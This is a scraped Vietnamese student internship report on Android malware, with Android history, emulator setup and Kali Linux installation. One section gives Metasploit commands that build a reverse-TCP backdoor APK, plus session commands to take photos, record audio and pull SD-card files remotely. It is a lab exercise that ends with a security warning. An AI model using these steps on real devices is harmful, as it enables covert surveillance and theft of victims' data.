hành Kali. Với BackTrack, bất kỳ lúc nào khi phiên bản mới được công bố thì
chúng ta đều phải cài lại mới hoàn toàn (Ngoại trừ phiên bản R2 lên R3).
Giờ đây với Kali, nhờ vào sự chuyển đổi sang nền tảng hệ điều hành Debian, Kali
đã dễ dàng hơn trong việc âng cấp hệ thống khi phiên bản mới xuất hiện, người
dùng không phải cài lại mới hoàn toàn nữa
II. Cài đặt Kali Linux trên máy ảo VMware
Trước tiên cần tải về file ISO phiên bản mới nhất của Kali Linux trên link dưới, bài
này ta sẽ tiến hành cài phiên bản Kali Linux 1.0.6 64 bit.
http://www.kali.org/downloads/
Tất nhiên ta cần phải có Vmware, việc tải và cài đặt Vmware rất dễ dàng, ta có thể
tìm trên mạng. Sau khi có file ISO ta bắt đầu tiến hành cài đặt lên máy ảo.
Mở VMware, chọn File ở góc phải trên màn hình, chọn New Virtual Machine... .
Trên cửa sổ mới mở, chọn custom và nhấn next
Tiếp tục nhấn next đến khi yêu cầu chọn file ISO thì ta chọn ISO của kali đã tải
trước đó:
Đặt tên và đặt đường dẫn cho máy ảo
Tiếp tục chọn cấu hình cho máy ảo, ta có thể để mặc định.
Máy ảo sẽ khởi động và vào giao diện cài đặt, chọn Graphic Install
Bấm chọn ngôn ngữ, địa điểm, Host name như khi cài đặt hệ điều hành bình
thường...
Tiếp theo chọn Root password, luôn nhớ Root password đã chọn!
Phần Partition chọn Guided – use entire disk và All files in one partition
Chọn Finish partitioning and write changes to disk
Chọn Yes
Nhấn continue để bắt đầu cài đặt khoảng 15 phút.
Sau khi cài đặt xong, chọn No ở Network mirror, chọn Yes ở phần Boot-loader.
Sau khi hoàn tất phần cuối và khởi động lại, đến giao diện login ta nhập user là
root và password đã đặt ở phần trước.
Vậy là ta đã hoàn tất cài đặt kali linux trên Vmware
III. Tạo mã độc trên Kali Linux để xâm nhập Android
Ta sử dụng Metasploit framework trên Kali Linux để tạo một payload, khi máy
android tải về và mở payload lên thì sẽ bị xâm nhập và điều khiển. Nếu sử dụng
máy ảo Kali Linux bằng Vmware, ta nên thiết lập phần Network như sau:
Bấm vào VM -> Settings... ở thanh lựa chọn của Vmware
Bấm vào Network Adapter và chọn Bridged: connection directly to the
physical network
Bấm vào Edit -> Virtual Network Editor...
Trên phần Bridge (connect VMs directly to the external network) chọn adapter
của máy thật
Sau đây ta vào phần chính tạo backdoor và xâm nhập điều khiển android
Đầu tiên mở terminal và gõ dòng lệnh
Msfpayload android/meterpreter/reverse_tcp lhost=192.168.0.104 lport=8080
R > /root/Desktop/files.apk
192.168.0.104 là địa chỉ IP của máy Kali, ta có thể sử dụng lệnh ifconfig để xem
IP của máy Kali
8080 là số port.
Lệnh trên sẽ tạo ra 1 file files.apk trên desktop của Kali, đây chính là một
Metasploit reverse tcp backdoor.
Tiếp theo, gõ lệnh msfconsole
Sau khi msfconsile load xong, ta tạo một handler để xử lí dữ liệu truyền về bằng
cách gõ lệnh sau:
use exploit/multi/handler
set payload /meterpreter/reverse_tcp
set lhost 192.168.0.104 – nhập địa chỉ IP giống với khi tạo payload ở trên.
set port 8080 – nhập port giống với port khi tạo payload ở trên.
Exploit
Màn hình sẽ như sau, lúc này ta đang chờ một máy android mở backdoor.
Thử với một máy Galaxy nexus giả lập, tải về files.apk, cài đặt và mở lên được
giao diện như dưới, nhấp vào nút reverse_tcp:
Vậy là ta đã kết nối thành công tới máy Android này, ở msfconsole sẽ như sau:
Để xem thông tin về máy, nhập lệnh SysInfo
Sử dụng camera:
Để xem danh sách camera, nhập webcam_list
Để chụp hình bằng camera, nhập webcam_snap x với x là id của camera
xem ở danh sách camera ở phần trước. Ví dụ như sau:
File hình đã chụp từ camera của máy android là FrumITki.jpeg được lưu ở
/root của máy
Ghi âm
Để thực hiện ghi âm, nhập lênh record_mic và file ghi âm sẽ được lưu về máy
Lấy file từ sd card
Để vào sdcard, nhập lệnh : cd /sdcard và lệnh ls để xem danh sách file, thư
mục
Ví dụ ở đây, ta tải file App.apk trong thư mục download của sdcard
Dùng lệnh cd /sdcard/Download để vào thư mục
Như trên hình, ta thấy 1 file là App.apk, để tải về máy, ta nhập lệnh
Download App.apk
Và file này sẽ được tải về thư mục root của máy Kali
Ngoài ra, để xem danh sách các lệnh, gõ help.
Kết luận
Như vậy, ta đã tìm hiểu về Kali Linux, các cải tiến của nó so với BackTrack. Cách
sử dụng Metasploit của Kali Linux để xâm nhập và điều khiển, truyền dữ liệu từ
máy android về máy.
Sau khi thử nghiệm cách tấn công này, ta rút ra không nên tải về và chạy file lạ
trên máy android để bảo đảm không cài nhầm backdoor như đã thấy ở trên, chỉ cần
máy bị nhiễm backdoor là ta đã có thể xem như có toàn quyền kiểm soát máy
android đó.
Báo cáo thực tập giữa kì

More Related Content

What's hot

Nghiên cưú và phát triển Android OS
Nghiên cưú và phát triển Android OSNghiên cưú và phát triển Android OS
Nghiên cưú và phát triển Android OSNguyễn Anh
 
Android update
Android updateAndroid update
Android updatekuto92love
 
Slide hội thảo Google Android BKHN 26-10
Slide hội thảo Google Android BKHN 26-10Slide hội thảo Google Android BKHN 26-10
Slide hội thảo Google Android BKHN 26-10Giap Le Van
 
Slide thuyet trinh android
Slide thuyet trinh androidSlide thuyet trinh android
Slide thuyet trinh androidkuto92love
 
Báo cáo tuần 1
Báo cáo tuần 1Báo cáo tuần 1
Báo cáo tuần 1tuankiet123
 
Báo cáo tuần 1
Báo cáo tuần 1Báo cáo tuần 1
Báo cáo tuần 1tuankiet123
 
Bao cao tong hop
Bao cao tong hopBao cao tong hop
Bao cao tong hopHắc Ảnh
 
Tìm hiểu về hệ điều hành android
Tìm hiểu về hệ điều hành androidTìm hiểu về hệ điều hành android
Tìm hiểu về hệ điều hành androidPhuong Ngo
 
lập trình di động
lập trình di độnglập trình di động
lập trình di độngtruong le hung
 
Báo cáo thực tập cơ sở
Báo cáo thực tập cơ sởBáo cáo thực tập cơ sở
Báo cáo thực tập cơ sởNguyễn Phú
 
Google Android Security (Basic2Advanced)
Google Android Security (Basic2Advanced)Google Android Security (Basic2Advanced)
Google Android Security (Basic2Advanced)Giap Le Van
 
Tìm hiểu về hệ điều hành android
Tìm hiểu về hệ điều hành androidTìm hiểu về hệ điều hành android
Tìm hiểu về hệ điều hành androidTÓc Đỏ XuÂn
 
Tim hieu lap_trinh_android_va_tu_xay_dung_ung_dung_minh_hoa_20120809043144_31
Tim hieu lap_trinh_android_va_tu_xay_dung_ung_dung_minh_hoa_20120809043144_31Tim hieu lap_trinh_android_va_tu_xay_dung_ung_dung_minh_hoa_20120809043144_31
Tim hieu lap_trinh_android_va_tu_xay_dung_ung_dung_minh_hoa_20120809043144_31thequocbk
 
Đồ án tốt nghiệp Xây dựng ứng dụng fastfood trên nền android
Đồ án tốt nghiệp Xây dựng ứng dụng fastfood trên nền androidĐồ án tốt nghiệp Xây dựng ứng dụng fastfood trên nền android
Đồ án tốt nghiệp Xây dựng ứng dụng fastfood trên nền androidlaonap166
 
Lap trinh thiet bi di dong voi j2me
Lap trinh thiet bi di dong voi j2meLap trinh thiet bi di dong voi j2me
Lap trinh thiet bi di dong voi j2mecậu buồn Vì Ai
 
Bao cao thuc tap athena
Bao cao thuc tap athenaBao cao thuc tap athena
Bao cao thuc tap athenaHắc Ảnh
 
Lap trinh android_co_ban_eclip
Lap trinh android_co_ban_eclipLap trinh android_co_ban_eclip
Lap trinh android_co_ban_eclipktvinh
 
Bao cao cuoi ki version full
Bao cao cuoi ki version fullBao cao cuoi ki version full
Bao cao cuoi ki version fullVõ Nhựt Tân
 

What's hot (20)

Nghiên cưú và phát triển Android OS
Nghiên cưú và phát triển Android OSNghiên cưú và phát triển Android OS
Nghiên cưú và phát triển Android OS
 
Android update
Android updateAndroid update
Android update
 
Slide hội thảo Google Android BKHN 26-10
Slide hội thảo Google Android BKHN 26-10Slide hội thảo Google Android BKHN 26-10
Slide hội thảo Google Android BKHN 26-10
 
Slide thuyet trinh android
Slide thuyet trinh androidSlide thuyet trinh android
Slide thuyet trinh android
 
Báo cáo tuần 1
Báo cáo tuần 1Báo cáo tuần 1
Báo cáo tuần 1
 
Báo cáo tuần 1
Báo cáo tuần 1Báo cáo tuần 1
Báo cáo tuần 1
 
Bao cao tong hop
Bao cao tong hopBao cao tong hop
Bao cao tong hop
 
Tìm hiểu về hệ điều hành android
Tìm hiểu về hệ điều hành androidTìm hiểu về hệ điều hành android
Tìm hiểu về hệ điều hành android
 
lập trình di động
lập trình di độnglập trình di động
lập trình di động
 
Báo cáo thực tập cơ sở
Báo cáo thực tập cơ sởBáo cáo thực tập cơ sở
Báo cáo thực tập cơ sở
 
Google Android Security (Basic2Advanced)
Google Android Security (Basic2Advanced)Google Android Security (Basic2Advanced)
Google Android Security (Basic2Advanced)
 
Android OS
Android OSAndroid OS
Android OS
 
Tìm hiểu về hệ điều hành android
Tìm hiểu về hệ điều hành androidTìm hiểu về hệ điều hành android
Tìm hiểu về hệ điều hành android
 
Tim hieu lap_trinh_android_va_tu_xay_dung_ung_dung_minh_hoa_20120809043144_31
Tim hieu lap_trinh_android_va_tu_xay_dung_ung_dung_minh_hoa_20120809043144_31Tim hieu lap_trinh_android_va_tu_xay_dung_ung_dung_minh_hoa_20120809043144_31
Tim hieu lap_trinh_android_va_tu_xay_dung_ung_dung_minh_hoa_20120809043144_31
 
Đồ án tốt nghiệp Xây dựng ứng dụng fastfood trên nền android
Đồ án tốt nghiệp Xây dựng ứng dụng fastfood trên nền androidĐồ án tốt nghiệp Xây dựng ứng dụng fastfood trên nền android
Đồ án tốt nghiệp Xây dựng ứng dụng fastfood trên nền android
 
Lap trinh thiet bi di dong voi j2me
Lap trinh thiet bi di dong voi j2meLap trinh thiet bi di dong voi j2me
Lap trinh thiet bi di dong voi j2me
 
Bao cao thuc tap athena
Bao cao thuc tap athenaBao cao thuc tap athena
Bao cao thuc tap athena
 
Đề tài: Ứng dụng Android ôn luyện trắc nghiệm tiếng Anh, HOT
Đề tài: Ứng dụng Android ôn luyện trắc nghiệm tiếng Anh, HOTĐề tài: Ứng dụng Android ôn luyện trắc nghiệm tiếng Anh, HOT
Đề tài: Ứng dụng Android ôn luyện trắc nghiệm tiếng Anh, HOT
 
Lap trinh android_co_ban_eclip
Lap trinh android_co_ban_eclipLap trinh android_co_ban_eclip
Lap trinh android_co_ban_eclip
 
Bao cao cuoi ki version full
Bao cao cuoi ki version fullBao cao cuoi ki version full
Bao cao cuoi ki version full
 

Similar to Báo cáo thực tập giữa kì

Bao cao giua ky
Bao cao giua kyBao cao giua ky
Bao cao giua kyNhoxPO
 
Tài liệu học Lập trình Android với Kotlin cơ bản - Trung tâm Tin học Khoa học...
Tài liệu học Lập trình Android với Kotlin cơ bản - Trung tâm Tin học Khoa học...Tài liệu học Lập trình Android với Kotlin cơ bản - Trung tâm Tin học Khoa học...
Tài liệu học Lập trình Android với Kotlin cơ bản - Trung tâm Tin học Khoa học...hoclaptrinhkhtn
 
Báo cáo tuần 1
Báo cáo tuần 1Báo cáo tuần 1
Báo cáo tuần 1ThongErik
 
Bài 1: Giới thiệu Android
Bài 1: Giới thiệu AndroidBài 1: Giới thiệu Android
Bài 1: Giới thiệu Androidhoccungdoanhnghiep
 
Báo cáo thực tập tuần 1 - Trung tâm đào tạo Athena
Báo cáo thực tập tuần 1 - Trung tâm đào tạo AthenaBáo cáo thực tập tuần 1 - Trung tâm đào tạo Athena
Báo cáo thực tập tuần 1 - Trung tâm đào tạo AthenaNhoxPO
 
Mobile programming
Mobile programming Mobile programming
Mobile programming Thinh Huynh
 
1 gioithieuveandroidsdk-150322215607-conversion-gate01
1 gioithieuveandroidsdk-150322215607-conversion-gate011 gioithieuveandroidsdk-150322215607-conversion-gate01
1 gioithieuveandroidsdk-150322215607-conversion-gate01Lê Phú Thảo
 
Slide bài giảng lập trình Android DTU - Phần 1
Slide bài giảng lập trình Android DTU - Phần 1Slide bài giảng lập trình Android DTU - Phần 1
Slide bài giảng lập trình Android DTU - Phần 1Techacademy Software
 
Xây dựng phần mềm trên window Phone
Xây dựng phần mềm trên window PhoneXây dựng phần mềm trên window Phone
Xây dựng phần mềm trên window Phonentanh80
 
Luận văn xây dựng ứng dụng android ôn luyện Trắc Nghiệm Tiếng Anh.doc
Luận văn xây dựng ứng dụng android ôn luyện Trắc Nghiệm Tiếng Anh.docLuận văn xây dựng ứng dụng android ôn luyện Trắc Nghiệm Tiếng Anh.doc
Luận văn xây dựng ứng dụng android ôn luyện Trắc Nghiệm Tiếng Anh.docsividocz
 
Lap trinhthietbididongvoij2me
Lap trinhthietbididongvoij2meLap trinhthietbididongvoij2me
Lap trinhthietbididongvoij2mehaiokman
 
1 laptrinhthietbididongvoij2me
1 laptrinhthietbididongvoij2me1 laptrinhthietbididongvoij2me
1 laptrinhthietbididongvoij2meGiang Nguyễn
 

Similar to Báo cáo thực tập giữa kì (19)

Bao cao giua ky
Bao cao giua kyBao cao giua ky
Bao cao giua ky
 
Bao cao hoan chinh
Bao cao hoan chinhBao cao hoan chinh
Bao cao hoan chinh
 
đồ áN cơ sở
đồ áN cơ sởđồ áN cơ sở
đồ áN cơ sở
 
đồ áN cơ sở
đồ áN cơ sởđồ áN cơ sở
đồ áN cơ sở
 
Báo cáo cuối kì
Báo cáo cuối kìBáo cáo cuối kì
Báo cáo cuối kì
 
Báo cáo cuối kỳ
Báo cáo cuối kỳBáo cáo cuối kỳ
Báo cáo cuối kỳ
 
Đề tài: Xây dựng ứng dụng Android đọc báo mạng qua dịch vụ RSS
Đề tài: Xây dựng ứng dụng Android đọc báo mạng qua dịch vụ RSSĐề tài: Xây dựng ứng dụng Android đọc báo mạng qua dịch vụ RSS
Đề tài: Xây dựng ứng dụng Android đọc báo mạng qua dịch vụ RSS
 
Tài liệu học Lập trình Android với Kotlin cơ bản - Trung tâm Tin học Khoa học...
Tài liệu học Lập trình Android với Kotlin cơ bản - Trung tâm Tin học Khoa học...Tài liệu học Lập trình Android với Kotlin cơ bản - Trung tâm Tin học Khoa học...
Tài liệu học Lập trình Android với Kotlin cơ bản - Trung tâm Tin học Khoa học...
 
Báo cáo tuần 1
Báo cáo tuần 1Báo cáo tuần 1
Báo cáo tuần 1
 
Đề tài: Xây dựng ứng dụng Android nghe nhạc trên internet, HOT
Đề tài: Xây dựng ứng dụng Android nghe nhạc trên internet, HOTĐề tài: Xây dựng ứng dụng Android nghe nhạc trên internet, HOT
Đề tài: Xây dựng ứng dụng Android nghe nhạc trên internet, HOT
 
Bài 1: Giới thiệu Android
Bài 1: Giới thiệu AndroidBài 1: Giới thiệu Android
Bài 1: Giới thiệu Android
 
Báo cáo thực tập tuần 1 - Trung tâm đào tạo Athena
Báo cáo thực tập tuần 1 - Trung tâm đào tạo AthenaBáo cáo thực tập tuần 1 - Trung tâm đào tạo Athena
Báo cáo thực tập tuần 1 - Trung tâm đào tạo Athena
 
Mobile programming
Mobile programming Mobile programming
Mobile programming
 
1 gioithieuveandroidsdk-150322215607-conversion-gate01
1 gioithieuveandroidsdk-150322215607-conversion-gate011 gioithieuveandroidsdk-150322215607-conversion-gate01
1 gioithieuveandroidsdk-150322215607-conversion-gate01
 
Slide bài giảng lập trình Android DTU - Phần 1
Slide bài giảng lập trình Android DTU - Phần 1Slide bài giảng lập trình Android DTU - Phần 1
Slide bài giảng lập trình Android DTU - Phần 1
 
Xây dựng phần mềm trên window Phone
Xây dựng phần mềm trên window PhoneXây dựng phần mềm trên window Phone
Xây dựng phần mềm trên window Phone
 
Luận văn xây dựng ứng dụng android ôn luyện Trắc Nghiệm Tiếng Anh.doc
Luận văn xây dựng ứng dụng android ôn luyện Trắc Nghiệm Tiếng Anh.docLuận văn xây dựng ứng dụng android ôn luyện Trắc Nghiệm Tiếng Anh.doc
Luận văn xây dựng ứng dụng android ôn luyện Trắc Nghiệm Tiếng Anh.doc
 
Lap trinhthietbididongvoij2me
Lap trinhthietbididongvoij2meLap trinhthietbididongvoij2me
Lap trinhthietbididongvoij2me
 
1 laptrinhthietbididongvoij2me
1 laptrinhthietbididongvoij2me1 laptrinhthietbididongvoij2me
1 laptrinhthietbididongvoij2me
 

Báo cáo thực tập giữa kì

  • 1. BÁO CÁO ĐỀ TÀI THỰC TẬP NGHIÊN CỨU CÁC TROJAN, MALWARE CHO PHÉP ĐÁNH CẮP DỮ LIỆU NHƯ DANH SÁCH CONTACT, TIN NHẮN TRÊN ĐIỆN THOẠI SỬ DỤNG ANDROID VÀ GỬI RA NGOÀI GVHD:VÕ TẤT THẮNG SVTH:NGUYỄN HOÀNG ANH
  • 2. NỘI DUNG: I. Tìm hiểu và cài đặt hệ điều hành Android 2.3 và 4.x trên môi trường giả lập. 1. Lịch sử phát triển và đặc điểm của hệ điều hành Android 2. Cài đặt II. So sánh sự khác nhau giữa hai phiên bản Android 2.3 và 4.x. 1. Sự khác nhau về yêu cầu phần cứng cần thiết để cài đặt. 2. Sự khác nhau về giao diện. 3. Sự khác nhau về tính năng. 4. Sự khác nhau về giao thức mạng. III. Nghiên cứu các chương trình có mã độc trên Android và nghiên cứu cài đặt backdoor, trojan lên Android (iCalendar) 1.Định nghĩa 2.Mã độc trong môi trường Android: 3.Tính bảo mật trong Android 4 Thực trạng 5. Nghiên cứu lỗ hổng bảo mật trên Android. 5.1. Malware trên Android. 5.2 Cơ chế hoạt động của Malware. 6. Cài đặt trojan , backdoor trên thiết bị Android (iCalendar) IV. Nghiên cứu Kali Linux – các cơ chế tạo mã độc trên Kali –Linux , từ đó xâm nhập thẻ Sd card, kích hoạt camera, ghi âm trên thiết bị, sau đó truyền dữ liệu về máy điều khiển từ xa 1 Tìm hiểu Kali Linux 2 Cài đặt Kali Linux trên máy ảo VMWare 3 Tạo mã độc trên Kali Linux để xâm nhập Android
  • 3. I.Tìm hiểu và cài đặt hệ điều hành Android 2.3 và 4.x trên môi trường giả lập. 1. Lịch sử phát triển và đặc điểm của hệ điều hành Android Lịch sử Tổng công ty Android (Android, Inc.) được thành lập tại Palo Alto, California vào tháng 10 năm 2003 bởi Andy Rubin (đồng sáng lập công ty Danger), Rich Miner (đồng sáng lập Tổng công ty Viễn thông Wildfire), Nick Sears (từng là Phó giám đốc T-Mobile), và Chris White (trưởng thiết kế và giao diện tại WebTV) để phát triển, theo lời của Rubin, "các thiết bị di động thông minh hơn có thể biết được vị trí và sở thích của người dùng". Dù những người thành lập và nhân viên đều là những người có tiếng tăm, Tổng công ty Android hoạt động một cách âm thầm, chỉ tiết lộ rằng họ đang làm phần mềm dành cho điện thoại di động. Trong năm đó, Rubin hết kinh phí. Steve Perlman, một người bạn thân của Rubin, mang cho ông 10.000 USD tiền mặt nhưng từ chối tham gia vào công ty. Google mua lại Tổng công ty Android vào ngày 17 tháng 8 năm 2005, biến nó thành một bộ phận trực thuộc Google. Những nhân viên của chủ chốt của Tổng công ty Android, gồm Rubin, Miner và White, vẫn tiếp tục ở lại công ty làm việc sau thương vụ này. Vào thời điểm đó không có nhiều thông tin về Tổng công ty, nhưng nhiều người đồn đoán rằng Google dự tính tham gia thị trường điện thoại di động sau bước đi này. Tại Google, nhóm do Rubin đứng đầu đã phát triển một nền tảng thiết bị di động phát triển trên nền nhân Linux. Google quảng bá nền tảng này cho các nhà sản xuất điện thoại và các nhà mạng với lời hứa sẽ cung cấp một hệ thống uyển chuyển và có khả năng nâng cấp. Google đã liên hệ với hàng loạt hãng phần cứng cũng như đối tác phần mềm, bắn tin cho các nhà mạng rằng họ sẵn sàng hợp tác với các cấp độ khác nhau. Ngày càng nhiều suy đoán rằng Google sẽ tham gia thị trường điện thoại di động xuất hiện trong tháng 12 năm 2006. Tin tức của BBC và Nhật báo phố Wall chú thích rằng Google muốn đưa công nghệ tìm kiếm và các ứng dụng của họ vào điện thoại di động và họ đang nỗ lực làm việc để thực hiện điều này. Các phương tiện truyền thông truyền thống lẫn online cũng viết về tin đồn rằng Google đang phát triển một thiết bị cầm tay mang thương hiệu Google. Một vài tờ báo còn nói rằng trong khi Google vẫn đang thực hiện những bản mô tả kỹ thuật chi tiết, họ đã trình diễn sản phẩm mẫu cho các nhà sản xuất điện thoại di động và nhà mạng. Tháng 9 năm 2007, InformationWeek đăng tải một nghiên cứu của Evalueserve cho biết Google đã nộp một số đơn xin cấp bằng sáng chế trong lĩnh vực điện thoại di động.
  • 4. Ngày 5/11/2007, Liên minh thiết bị cầm tay mở (Open Handset Alliance), một hiệp hội bao gồm nhiều công ty trong đó có Texas Instruments,Tập đoàn Broadcom, Google, HTC, Intel, LG, Tập đoàn MarvellTechnology, Motorola, Nvidia, Qualcomm, Samsung Electronics, Sprint Nextel và T-Mobile được thành lập với mục đích phát triển các tiêu chuẩn mở cho thiết bị di động. Cùng ngày , Android cũng được ra mắt với vai trò là sản phẩm đầu tiên của Liên minh, một nền tảng thiết bị di động được xây dựng trên nhân Linux phiên bản 2.6. Chiếc điện thoại chạy Android đầu tiên được bán ra là HTC Dream, phát hành ngày 22 tháng 10 năm 2008. Biểu tượng của hệ điều hành Android mới là một con rôbốt màu xanh lá cây do hãng thiết kế Irina Blok tại California vẽ. Từ năm 2008, Android đã trải qua nhiều lần cập nhật để dần dần cải tiến hệ điều hành, bổ sung các tính năng mới và sửa các lỗi trong những lần phát hành trước. Mỗi bản nâng cấp được đặt tên lần lượt theo thứ tự bảng chữ cái, theo tên của một món ăn tráng miệng ; ví dụ như phiên bản 1.5 Cupcake (bánh bông lan nhỏ có kem) tiếp nối bằng phiên bản 1.6 Donut (bánh vòng). Phiên bản mới nhất là 4.2 Jelly Bean (kẹo dẻo). Vào năm 2010, Google ra mắt loạt thiết bị Nexus - một dòng sản phẩm bao gồm điện thoại thông minh và máy tính bảng chạy hệ điều hành Android, do các đối tác phần cứng sản xuất. HTC đã hợp tác với Google trong chiếc điện thoại thông minh Nexus đầu tiên, Nexus One. Kể từ đó nhiều thiết bị mới hơn đã gia nhập vào dòng sản phẩm này, như điện thoại Nexus 4 và máy tính bảng Nexus 10, lần lượt do LG và Samsung sản xuất. Google xem điện thoại và máy tính bảng Nexus là những thiết bị Android chủ lực của mình, với những tính năng phần cứng và phần mềm mới nhất của Android. Đặc điểm 1. Tính mở. Android được xây dựng từ dưới đi lên cho phép người phát triển tạo các ứng dụng di động hấp dẫn với đầy đủ các điểm mạnh của các thiết bị cầm tay hiện có. Android hoàn toàn mở, một ứng dụng có thể gọi tới bất kể một chức năng lõi của điện thoại như tạo cuộc gọi, gửi tin nhắn hay sử dụng máy ảnh, cho phép người phát triển tạo phong phú hơn, liên kết hơn các tính năng cho người dùng. Android được xây dựng trên nhân Linux mở. Thêm nữa, nó sử dụng một máy ảo mà đã được tối ưu hóa bộ nhớ và phần cứng với môi trường di động. Android mà một mã nguồn mở, nó có thể được mở rộng để kết hợp tự do giữa các công nghệ nổi trội. Nền tảng này sẽ tiếp tục phát triển bởi cộng đồng phát triển để tạo ra các ứng dụng di động hoàn hảo. 2. Tính ngang bằng của các ứng dụng. Với Android, không có sự khác nhau giữa các ứng dụng điện thoại cơ bản với ứng dụng của bên thứ ba. Chúng được xây dựng để truy cập như nhau tới một loạt các ứng dụng và dịch vụ của điện thoại. Với các thiết bị được xây dựng trên nền tảng Android, người dùng có thể đáp ứng đầy đủ các nhu cầu mà họ thích. Chúng ta có thể đổi màn hình nền, kiểu gọi điện thoại, hay bất kể ứng dụng nào. Chúng ta thậm chí có thể hướng dẫn điện thoại chỉ xem những ảnh mình thích. 3. Phá vỡ rào cản phát triển ứng dụng. Android phá vỡ rào cản để tạo ứng dụng mới và
  • 5. cải tiến. Một người phát triển có thể kết hợp thông tin từ trang web với dữ liệu trên điện thoại cá nhân – chẳng hạn như danh bạ, lịch hay vị trí trên bản đồ – để cung cấp chính xác hơn cho người khác. Với Android, người phát triển có thể xây dựng một ứng dụng mà cho phép người dùng xem vị trí của những người bạn và thông báo khi họ đang ở vị trí lân cận. Tất cả được lập trình dễ dàng thông qua sự hỗ trợ của MapView và dịch vụ định vị toàn cầu GPS. 4. Xây dựng ứng dụng dễ dàng và nhanh chóng Android cung cấp bộ thư viện giao diện lập trình ứng dụng đồ sộ và các công cụ để viết các ứng dụng phức tạp. Ví dụ, Android có thể cho phép người phát triển biết được vị trí của thiết bị và cho phép các thiết bị giao tiếp với nhau để có thể tạo nên mạng xã hội chia sẻ ngang hàng rộng khắp. Thêm nữa, Android còn bao gồm một bộ công cụ đầy đủ giúp cho việc phát triển trở nên dễ dàng. 2. Cài đặt hệ điều hành Android 2.3 và 4.x trên môi trường giả lập Cài đặt Java JDK. Để giả lập thiết bị Android chúng ta cần cài đặt các công cụ giả lập là bộ công cụ phát triển java (java JDK) và phần mềm giả lập Android (Android SDK). Bạn có thể download bộ JDK 8 (mới nhất) tại địa chỉ http://www.oracle.com/technetwork/java/javase/downloads/jdk8-downloads- 2133151.html
  • 6. Chọn 1 trong 2 phiên bản x86 hoặc x64 tùy vào phiên bản Windows của máy (x64 đối với 64 bit và x86 đối với x86). Chạy file vừa tải về để cài đặt Việc cài đặt khá đơn giản, ta chỉ việc nhấn next và chờ cài đặt xong
  • 7. Chọn nơi để cài đặt JDK Sau khi cài xongta có thể kiểm tra lại xem bộ JDK đã cài được trên máy tính của bạn chưa bẳng cách vào CMD và gõ lệnh: “java” Nếu màn hình hiện ra như sau là ta đã hoàn thành bước này:
  • 8. 2. Cài đặt android SDK Để download ta vào link : http://developer.android.com/sdk/index.html
  • 9. Nhớ lựa chọn phiên bản phù hợp với windows của mình Tải về và giải nén file zip để có thư mục
  • 10. Trong thư mục, nhấp vài SDK manager Công việc tiếp theo là download các gói hỗ trợ như: Android SDK Buil-tools, Android SDK, Platform-tools, các phiên bản Android và các gói hỗ trợ khác… Đánh dấu phần cần download, download Android SDK Tools, Android SDK Platform tools, Android SDK Build-tools, Download Android Platform và ARM image ở Androi 4.0 và 2.3.3
  • 11. 3. Tạo máy ảo Android (Android Virtual Device) Ở SDK manager vào Tools chọn Manage AVD Click vào New để tạo máy ảo android
  • 12. Điền vào các thống số cho máy ảo như tên, phiên bản Android (4.0 hoặc 2.3 ...), Ram, dung lượng bộ nhớ trong, ngoài .... Nhớ đánh dấu vào Use Host GPU. Tạo xong click vào Start để khởi động máy ảo
  • 13. Đợi máy ảo khởi động xong là ta đã có máy ảo Android trên màn hình:
  • 14. II. So sánh sự khác nhau giữa hai phiên bản Android 2.3 và 4.x. 1. Sự khác nhau về yêu cầu phần cứng cần thiết để cài đặt. Android 2.3 Android 4x Cần ít nhất 128 MB bộ nhớ có sẵn cho Kernel và cho không gian người sử dụng Cần ít nhất 340 MB bộ nhớ có sẵn cho kernel và cho không gian người sử dụng Dung lượng Ram tối thiểu cần thiết là 150MB Dung lượng Ram tối thiểu cần thiết là 350 MB Màn hình: - Màn hình phải có kích cỡ ít nhất 2,5 inch - Mật độ phải được ít nhất 100 dpi - Tỉ lệ màn hình từ 1.333 (4:3) đến 1,779 (16:9) - Công nghệ màn hình được sử dụng là công nghệ “ Square pixels” Màn hình: - Màn hình phải có kích cỡ ít nhất 426x320 - Mật độ phải được ít nhất 100 dpi - Tỉ lệ màn hình từ 1.333 (4:3) đến 1,85 (16:9) Yêu cầu có các phím vậy lý Không yêu cầu có có phím vật lý Các API Android bao gồm trình quản lý download các ứng dụng có thể sử dụng để tải dữ liệu.Trình quản lí download phải có khả năng tải tập tin có dung lượng ít nhất 55 MB Các API Android bao gồm trình quản lý download các ứng dụng có thể sử dụng để tải dữ liệu.Trình quản lí download phải có khả năng tải tập tin có dung lượng ít nhất 100 MB 2. Sự khác nhau về giao diện. Giao diện người dùng của Android dựa trên nguyên tắc tác động trực tiếp, sử dụng cảm ứng chạm tương tự như những động tác ngoài đời thực như vuốt, chạm, kéo dãn và thu lại để xử lý các đối tượng trên màn hình. Sự phản ứng với tác động của người dùng diễn ra gần như ngay lập tức, nhằm tạo ra giao diện cảm ứng mượt mà, thường dùng tính năng rung của thiết bị để tạo phản hồi rung cho người dùng. Những thiết bị phần cứng bên trong như gia tốc kế, con quay hồi chuyển và cảm biến khoảng cách được một số ứng dụng sử dụng để phản hồi một số hành động khác của người dùng, ví dụ như điều chỉnh màn hình từ chế độ hiển thị dọc sang chế
  • 15. độ hiển thị ngang tùy theo vị trí của thiết bị, hoặc cho phép người dùng lái xe đua bằng xoay thiết bị, giống như Các thiết bị Android sau khi khởi động sẽ hiển thị màn hình chính, điểm khởi đầu với các thông tin chính trên thiết bị, tương tự như khái niệm desktop (bàn làm việc) trên máy tính để bàn. Màn hính chính Android thường gồm nhiều biểu tượng (icon) và tiện ích (widget); biểu tượng ứng dụng sẽ mở ứng dụng tương ứng, còn tiện ích hiển thị những nội dung sống động, cập nhật tự động như dự báo thời tiết, hộp thư của người dùng, hoặc những mẩu tin thời sự ngay trên màn hình chính. Màn hình chính có thể gồm nhiều trang xem được bằng cách vuốt ra trước hoặc sau, mặc dù giao diện màn hình chính của Android có thể tùy chỉnh ở mức cao, cho phép người dùng tự do sắp đặt hình dáng cũng như hành vi của thiết bị theo sở thích. Những ứng dụng do các hãng thứ ba có trên Google Play và các kho ứng dụng khác còn cho phép người dùng thay đổi "chủ đề" của màn hình chính, thậm chí bắt chước hình dáng của hệ điều hành khác như Windows Phone chẳng hạn. Phần lớn những nhà sản xuất, và một số nhà mạng, thực hiện thay đổi hình dáng và hành vi của các thiết bị Android của họ để phân biệt với các hãng cạnh tranh. Ở phía trên cùng màn hình là thanh trạng thái, hiển thị thông tin về thiết bị và tình trạng kết nối. Thanh trạng thái này có thể "kéo" xuống để xem màn hình thông báo gồm thông tin quan trọng hoặc cập nhật của các ứng dụng, như email hay tin nhắn SMS mới nhận, mà không làm gián đoạn hoặc khiến người dùng cảm thấy bất tiện. Trong các phiên bản đời đầu, người dùng có thể 